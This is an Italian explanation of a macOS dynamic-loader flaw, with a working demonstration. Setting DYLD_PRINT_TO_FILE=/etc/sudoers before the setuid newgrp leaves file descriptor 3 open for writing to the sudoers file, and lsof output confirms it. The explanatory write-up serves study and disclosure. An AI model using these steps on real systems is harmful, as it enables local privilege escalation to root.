Analisi
Quando si imposta:
DYLD_PRINT_TO_FILE=/tmp/log some_command
il caricatore dinamico MacOS X aprirà /tmp/log
come un file di registro, cioè accodando l'accesso a potenziali problemi di debug all'interno del caricatore dinamico. Questo file è aperto con il primo descrittore di file libero nel contesto di chiamata shell che è 3.
Quindi le associazioni dei descrittori di file sono:
0 → stdin
1 → stdout
2 → stderr
3 → /tmp/log
e in questo contesto il processo some_command
è biforcato.
Sfortunatamente, il caricatore dinamico non chiude 3. Quindi il processo some_command
è in esecuzione con un file aperto che non ha mai dovuto aprire e non ha mai attraversato il normale controllo dell'accesso al filesystem. Potrebbe trattarsi di un file a cui some_command
non dovrebbe avere accesso se normalmente tentasse di aprirlo.
Esempio
Ad esempio, sebbene newgrp
sia un binario setuid, non può scrivere su file protetti correttamente:
$ newgrp
$ echo '#comment' >&3
zsh: 3: bad file descriptor
questo errore è normale, la shell biforcuta da newgrp
non ha un descrittore di file
3 aperto, come lsof
permette di vederlo chiaramente (guarda la colonna FD per il 3):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2405 bob 0u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 1u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 2u CHR 16,3 0t28 1405 /dev/ttys003
zsh 2405 bob 5 (revoked)
[...]
Ma a causa della mancanza di chiusura 3 nel caricatore dinamico:
$ DYLD_PRINT_TO_FILE=/etc/sudoers newgrp
$ echo '#comment' >&3
$
attenzione: qui l'assenza di un messaggio di errore significa che echo
ha funzionato.
e inoltre lsof
mostra il buco (riga 3w, che significa file descriptor 3
aperto con accesso in scrittura):
$ lsof -p $$
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
[...]
zsh 2430 bob 0u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 1u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 2u CHR 16,3 0t1024 1405 /dev/ttys003
zsh 2430 bob 3w REG 1,7 1293 2034681610 /private/etc/sudoers
zsh 2430 bob 5 (revoked)
[...]
lascerà che newgrp
scriva su /etc/sudoers
file se non si fosse mai verificato.
Attenzione
Se provi questo esempio, non dimenticare di pulire il /etc/sudoers
in seguito,
anche se questo esempio è innocuo.
La sua ultima riga contiene ora #comment
.